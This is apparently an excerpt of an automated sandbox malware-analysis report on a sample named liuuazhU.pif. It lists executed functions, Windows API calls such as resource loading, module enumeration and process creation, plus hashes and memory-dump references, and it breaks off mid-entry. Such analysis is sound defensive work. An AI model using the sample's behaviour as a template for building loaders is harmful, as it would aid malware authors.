Opcode Fuzzy Hash: e720fd1f35371ed8eed611904540eb1dceb651114ec14aff2087e2dc2d652641
Instruction Fuzzy Hash: FE21E17064021A9BCF10EF29DC85BAE77AAEF88720F008111ED5597380D734ED118AA0

Analysis Process: liuuazhU.pifPID: 1856, Parent PID: 6492COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	50.1%
Signature Coverage:	17.2%
Total number of Nodes:	343
Total number of Limit Nodes:	41

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

{, xrefs: 00401E3C
o, xrefs: 00401B8D
{, xrefs: 00401B4B
x, xrefs: 00401B78
[, xrefs: 00401B37
', xrefs: 00402006
W, xrefs: 00401B14
4, xrefs: 00402074
!, xrefs: 004020CF
v, xrefs: 0040206A
*, xrefs: 00401A1F
W, xrefs: 00402033
V, xrefs: 00402038
4, xrefs: 00401B64
E, xrefs: 00401E0F
5, xrefs: 00402109
4, xrefs: 00402136
W, xrefs: 004020E6
v, xrefs: 0040212C
", xrefs: 00401B0F
_._, xrefs: 00402257
h, xrefs: 00401A6F
v, xrefs: 00401E4B
x, xrefs: 00402088
., xrefs: 00401B0A
6, xrefs: 004020C5
', xrefs: 00401AF6
!, xrefs: 00401B1E
v, xrefs: 00401B5A
%, xrefs: 004020FA
0, xrefs: 00401BBD
*, xrefs: 004020E1
{, xrefs: 0040205B
:, xrefs: 00401B28
), xrefs: 0040202E
W, xrefs: 00401B23
[, xrefs: 00402047
o, xrefs: 00402097
D, xrefs: 00401DFB
!, xrefs: 0040201A
___, xrefs: 0040227D
U, xrefs: 004020F5
., xrefs: 0040201F
x, xrefs: 0040214A
{, xrefs: 0040211D
o, xrefs: 00402159
8, xrefs: 00401BA9
x, xrefs: 00401E69
V, xrefs: 00401E19

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 20D121F8 Relevance: 12.2, Strings: 9, Instructions: 908COMMON

Download Yara Rule

Strings

(o^q, xrefs: 20D12717
(o^q, xrefs: 20D12236
,bq, xrefs: 20D126A8
(o^q, xrefs: 20D1231D
(o^q, xrefs: 20D127C9
(o^q, xrefs: 20D122F1
(o^q, xrefs: 20D123BA
,bq, xrefs: 20D12698
(o^q, xrefs: 20D12707

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2735749406
Opcode ID: e22abf4764bbbfc47d61a76d5f7a1e4c39c30659510167bce6eb00eee58f7624
Instruction ID: 4f1e20b768e1ecb02ce65a3b6a59cee6120c7a4ae02e46e073dd8340fdca770a
Opcode Fuzzy Hash: e22abf4764bbbfc47d61a76d5f7a1e4c39c30659510167bce6eb00eee58f7624
Instruction Fuzzy Hash: CC823A30A01209DFCB05CFA8E984BAEBBF2BF48314F158559E4459B2A6DB35ED91CF50

Function 20D11420 Relevance: 8.5, Strings: 6, Instructions: 963COMMON

Download Yara Rule

Strings

(o^q, xrefs: 20D11D1A
Hbq, xrefs: 20D118AA
(o^q, xrefs: 20D11D28
(o^q, xrefs: 20D119DE
,bq, xrefs: 20D11D92
,bq, xrefs: 20D11DA0

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-56095411
Opcode ID: f25ad835d29d4466fd7568511560101568051b328763f6eb8bb068a09f0b995c
Instruction ID: ee15529c46aeca00c4952b3103999551e01033d5e4ab35f7b07dda6f15380af1
Opcode Fuzzy Hash: f25ad835d29d4466fd7568511560101568051b328763f6eb8bb068a09f0b995c
Instruction Fuzzy Hash: E1828D74A012199FCB04CFA9D894A9EBBF6BF88300F248569E905EB361DF34DD85CB51

Function 20185F38 Relevance: 3.4, APIs: 2, Instructions: 374
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 20185FD3

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dda595a7f8cf34edbea367627197f2245003dd31ddb3d3fce7f00b834efabfc2
Instruction ID: 21a9ea63ff19c75b125f23da7c4e9e4bdd28338e4df525cdf02145ed64e52320
Opcode Fuzzy Hash: dda595a7f8cf34edbea367627197f2245003dd31ddb3d3fce7f00b834efabfc2
Instruction Fuzzy Hash: EB02D574E01218CFDB54DFA9D884B9DBBB2BF88304F10D1A9E808AB355DB759A85CF50

Function 21174AD1 Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3113302494.0000000021170000.00000040.00000800.00020000.00000000.sdmp, Offset: 21170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21170000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c458f057b224e86c3b26dab4fb6ae71f9d9d4da3c7e606e0b4b91fb24c7730a
Instruction ID: ca8b3f60f121ece83787748020c6e088abb4d9187e04efed4c9fa3893df01803
Opcode Fuzzy Hash: 6c458f057b224e86c3b26dab4fb6ae71f9d9d4da3c7e606e0b4b91fb24c7730a
Instruction Fuzzy Hash: BCD14B30E00219CFEB05CFA9C889B9DBBF1BF45314F158558E409AB7A5DB74EA46CB81

Function 2019D2E8 Relevance: 1.8, APIs: 1, Instructions: 303processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,00000000,2019D94A), ref: 2019E5F4

Memory Dump Source

Source File: 00000006.00000002.3111939596.0000000020190000.00000040.00000800.00020000.00000000.sdmp, Offset: 20190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20190000_liuuazhU.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e27799ba7035788ad38726b2b831ad1770a37be69e77062749a90702173102cd
Instruction ID: cf95c9c30dc27b354be0eb044c59687f053d5abbaac6cb5270adcd99da5c6085
Opcode Fuzzy Hash: e27799ba7035788ad38726b2b831ad1770a37be69e77062749a90702173102cd
Instruction Fuzzy Hash: C0C1AF74D00258DFDB50CFA9C980BDDBBF2BF49304F2491A9E518A7260EB74AA85CF45

Function 20185D18 Relevance: 1.8, APIs: 1, Instructions: 263libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20185FD3

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dc3ec80f55dddaf7d9c6817d3df566ae503156c37e5d972520214fd4c7173d84
Instruction ID: 817046637dbb5988f12fe2191e9cd6f12933e7bd8389bffc4d089cdfd14a0f44
Opcode Fuzzy Hash: dc3ec80f55dddaf7d9c6817d3df566ae503156c37e5d972520214fd4c7173d84
Instruction Fuzzy Hash: 5991AC71E002198BDB18DFB9C95469EBAF3EF88314F208669D405AB395EB349F05CF91

Function 2019E7C0 Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(?,?), ref: 2019E864

Memory Dump Source

Source File: 00000006.00000002.3111939596.0000000020190000.00000040.00000800.00020000.00000000.sdmp, Offset: 20190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20190000_liuuazhU.jbxd

Similarity

API ID: IdleInputWait
String ID:
API String ID: 2200289081-0
Opcode ID: decade0bc771cfc75198a70f11478f667a098184a583d75221d607bb3772716e
Instruction ID: b57a221cea3cd7af3e81b9e50dbe9ac6cb4041b27d23c88b23016d021e9341fa
Opcode Fuzzy Hash: decade0bc771cfc75198a70f11478f667a098184a583d75221d607bb3772716e
Instruction Fuzzy Hash: 113199B4D002589FDB14CFEACA84A9EFBF1BB4A300F20902AE408BB354D774A945CF54

Function 20D1E388 Relevance: .8, Instructions: 780COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e2e2e68a394ae18302b869f72b077e9a323ba80b968a590d9924c2a7d022e1
Instruction ID: 531e6071431676c381140ba2decd2e6d025563f4945a8e5ffc25a961bdd2d051
Opcode Fuzzy Hash: 20e2e2e68a394ae18302b869f72b077e9a323ba80b968a590d9924c2a7d022e1
Instruction Fuzzy Hash: 5482BE74E052298FDB64DFA9D984BDDBBB2AB49300F1491E9E40DA7251EB349EC1CF40

Function 2018B3E0 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2771d1cbb5700b06cecba8dcb9ca8c987f4b7ba96d6ff1cc184acc38062b7c18
Instruction ID: a6c981334f9045f6c97c99a43b3deb86c82ef7e17815198f4b2af252d3ab0ca2
Opcode Fuzzy Hash: 2771d1cbb5700b06cecba8dcb9ca8c987f4b7ba96d6ff1cc184acc38062b7c18
Instruction Fuzzy Hash: BB02AC74E01228CFEB64CFA5C994BDDBBB2BB98300F1080A9E509A7394DB755E85CF51

Function 2019EBF0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111939596.0000000020190000.00000040.00000800.00020000.00000000.sdmp, Offset: 20190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20190000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03c1cf3a920074e03988159ace8b0939abdaae21ae599aa8bd7bc29d5717f85e
Instruction ID: 7323a108d1c97a66fb2760e9e5f479a87e7120683ac0f6ad80fe8a9acc84263f
Opcode Fuzzy Hash: 03c1cf3a920074e03988159ace8b0939abdaae21ae599aa8bd7bc29d5717f85e
Instruction Fuzzy Hash: A5F17C74E00228CFDB64DFA5C994BEDBBB2BB88300F1081AAD909A7354DB755E85DF50

Function 20D15FA0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 146608c47e32e3b5ee9c5af4b0e1c721f682c9246c0cde01f58911d3bfeb526c
Instruction ID: 24acaf59e96dce1963dce8ba35613815b7e7465112fd2792db068d251f8aaf84
Opcode Fuzzy Hash: 146608c47e32e3b5ee9c5af4b0e1c721f682c9246c0cde01f58911d3bfeb526c
Instruction Fuzzy Hash: F5F18E74E01228CFDB64DFA5C994B9DBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D1F570 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e42ec5addb9d889803c34167b949fb61a7309555c0c09d1e03b55ec3f100f2c8
Instruction ID: 4b70a479534f17e07e13f89eb7513f60beec583a4070c7161eddfc20368b2930
Opcode Fuzzy Hash: e42ec5addb9d889803c34167b949fb61a7309555c0c09d1e03b55ec3f100f2c8
Instruction Fuzzy Hash: 5AB1A1B4E012298FEB64CF6AD984B9DFBF2BF89300F14C1A9D448A7254DB345A85CF51

Function 20D1E379 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f855c09201359145b8ef098280a4fca00ab81d0cef27d56190ac96b78782497e
Instruction ID: 94f2a7473260a0bebf1c56c57d45ba9145ba164819798211c9c6d4d45cb0db4a
Opcode Fuzzy Hash: f855c09201359145b8ef098280a4fca00ab81d0cef27d56190ac96b78782497e
Instruction Fuzzy Hash: 48919075E012288FDB65CFA6D990BDDBBB2AF89300F1480EAD40DA7250EB355E85CF50

Function 20D1F569 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563d2d84a18df9836e2885ac5b3a009df1294f7d17a3703fc750c0bbd693415b
Instruction ID: f9b79f8de88b195195da5a82fe2f4ccc6c2d3a5114280e7a355220174827e26c
Opcode Fuzzy Hash: 563d2d84a18df9836e2885ac5b3a009df1294f7d17a3703fc750c0bbd693415b
Instruction Fuzzy Hash: E571A4B5E016288FEB68CF6AD844B9DFAF2AF89300F14C1E9D44DA7254DB744A85CF11

Function 20D15F90 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec3b2f2f78c088dc542eff464c87fda9e979214445414aff832e250e9a3e608
Instruction ID: 3c94fd7154805635713f2424e72594a5a0f3e27eca024a34c2d98e9be957807b
Opcode Fuzzy Hash: aec3b2f2f78c088dc542eff464c87fda9e979214445414aff832e250e9a3e608
Instruction Fuzzy Hash: 0641E274E012188FEB64CFBAD8507DEFBF2AF89304F1090AAD508A7251DB345A86CF55

Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 0040CC41
__mtinit.LIBCMT ref: 0040CC47
_fast_error_exit.LIBCMT ref: 0040CC52
__RTC_Initialize.LIBCMT ref: 0040CC58
__ioinit.LIBCMT ref: 0040CC61
__amsg_exit.LIBCMT ref: 0040CC6C
GetCommandLineA.KERNEL32 ref: 0040CC72
___crtGetEnvironmentStringsA.LIBCMT ref: 0040CC7D
__setargv.LIBCMT ref: 0040CC87
__amsg_exit.LIBCMT ref: 0040CC92
__setenvp.LIBCMT ref: 0040CC98
__amsg_exit.LIBCMT ref: 0040CCA3
__cinit.LIBCMT ref: 0040CCAB
__amsg_exit.LIBCMT ref: 0040CCB6

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID:
API String ID: 2598563909-0
Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 210149DC Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 21014A5E
GetCurrentThread.KERNEL32 ref: 21014A9B
GetCurrentProcess.KERNEL32 ref: 21014AD8
GetCurrentThreadId.KERNEL32 ref: 21014B31

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 878859262c0c52ba6fad88bffe27b5e44fb915ce19f09ba45429ee191ba99375
Instruction ID: 514bce16db16a77b72e888d865fb6354785dea3fdf81afbd555d352a821738f8
Opcode Fuzzy Hash: 878859262c0c52ba6fad88bffe27b5e44fb915ce19f09ba45429ee191ba99375
Instruction Fuzzy Hash: 615146B09006098FDB15CFA9D988BEEBBF1EF88304F24C169D019A7360D7749945CF69

Function 210149E0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 21014A5E
GetCurrentThread.KERNEL32 ref: 21014A9B
GetCurrentProcess.KERNEL32 ref: 21014AD8
GetCurrentThreadId.KERNEL32 ref: 21014B31

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f9c590df0ee3920de35fd0eea3dad32afc987a435176818e2a6bca45018a641c
Instruction ID: 4c22fb992c33f49245168a09d5a43cc838af2c62142a407e8c8e40ddf9ebf3b5
Opcode Fuzzy Hash: f9c590df0ee3920de35fd0eea3dad32afc987a435176818e2a6bca45018a641c
Instruction Fuzzy Hash: 495136B09007098FDB14CFAAD988BEEBBF1EF88314F24C169D519A7260D7749944CF69

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 20D132D0 Relevance: 4.6, Strings: 3, Instructions: 820
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 20D13DF4
$^q, xrefs: 20D13E17
(o^q, xrefs: 20D13FD1

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: (o^q$$^q$$^q
API String ID: 0-27156697
Opcode ID: fd22bd291b6f48195610d75538ab53cccedbb566e41dec136ac69fc788363387
Instruction ID: deb1c55b70a9181f3dd12d405b8b430ede40f3fc21689f30b5966560c9ac1047
Opcode Fuzzy Hash: fd22bd291b6f48195610d75538ab53cccedbb566e41dec136ac69fc788363387
Instruction Fuzzy Hash: 78727274A00218CFDB159BE8D894B9EBB76EF84300F2081A9D406AB3A5DE359D89DF51

Function 20D11079 Relevance: 2.7, Strings: 2, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 20D11168
,bq, xrefs: 20D1115E

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 133f61c9a2d5dbdcbacb4e99628971b15a7e950a007a37dc158d2b62216763e2
Instruction ID: abdf943a901e5c39f41e54dda496bcefcd147d092337860710573c27418660f1
Opcode Fuzzy Hash: 133f61c9a2d5dbdcbacb4e99628971b15a7e950a007a37dc158d2b62216763e2
Instruction Fuzzy Hash: 4781C038A052069FCB04CFE8E885A9EF7F2BF89204B24826DD515DB361CB31DC85CB55

Function 20D10BB8 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

Hbq, xrefs: 20D10CE6
Hbq, xrefs: 20D10CB3

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 10a554725f527bb61969a58ccdd08a52d925b643872994791d031f2de16bb19c
Instruction ID: d8ddfcafdd4647f090359986e8b0d0112d9f078127b625149aa1b2013214de8d
Opcode Fuzzy Hash: 10a554725f527bb61969a58ccdd08a52d925b643872994791d031f2de16bb19c
Instruction Fuzzy Hash: 8761F1712092558FCB029FA4E844B6EBFF6BF85300F588959E845DB391DBB8CC81CB91

Function 2101D581 Relevance: 1.7, APIs: 1, Instructions: 236COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 2101D812

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 57cb42554dc761050db39bd0b226e5eae047cc83b56c11ae15a06dce630ec5d4
Instruction ID: 01e130a127b4533ca34c06a9d9c238beebbd164c4fd14c4001b702325bda3040
Opcode Fuzzy Hash: 57cb42554dc761050db39bd0b226e5eae047cc83b56c11ae15a06dce630ec5d4
Instruction Fuzzy Hash: 52915470A00B498FDB25CF69C484B9ABBF1BF49300F00896ED48AE7654D739E949CF90

Function 2101F8F0 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2101FAB1

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: bcd1bc80e6085c215e224840a6bf0bb1fb1bc325392f590689a479091a0878d5
Instruction ID: bfb220e7e7ad4cb804a49801964c6f2921f9308102bed01c38a9939a56941a15
Opcode Fuzzy Hash: bcd1bc80e6085c215e224840a6bf0bb1fb1bc325392f590689a479091a0878d5
Instruction Fuzzy Hash: AF717AB4D00218DFDF60CFA9D980ADDBBF1BB0A304F1491AAE858A7215D774AA85CF45

Function 21014C20 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 21014CF3

Memory Dump Source

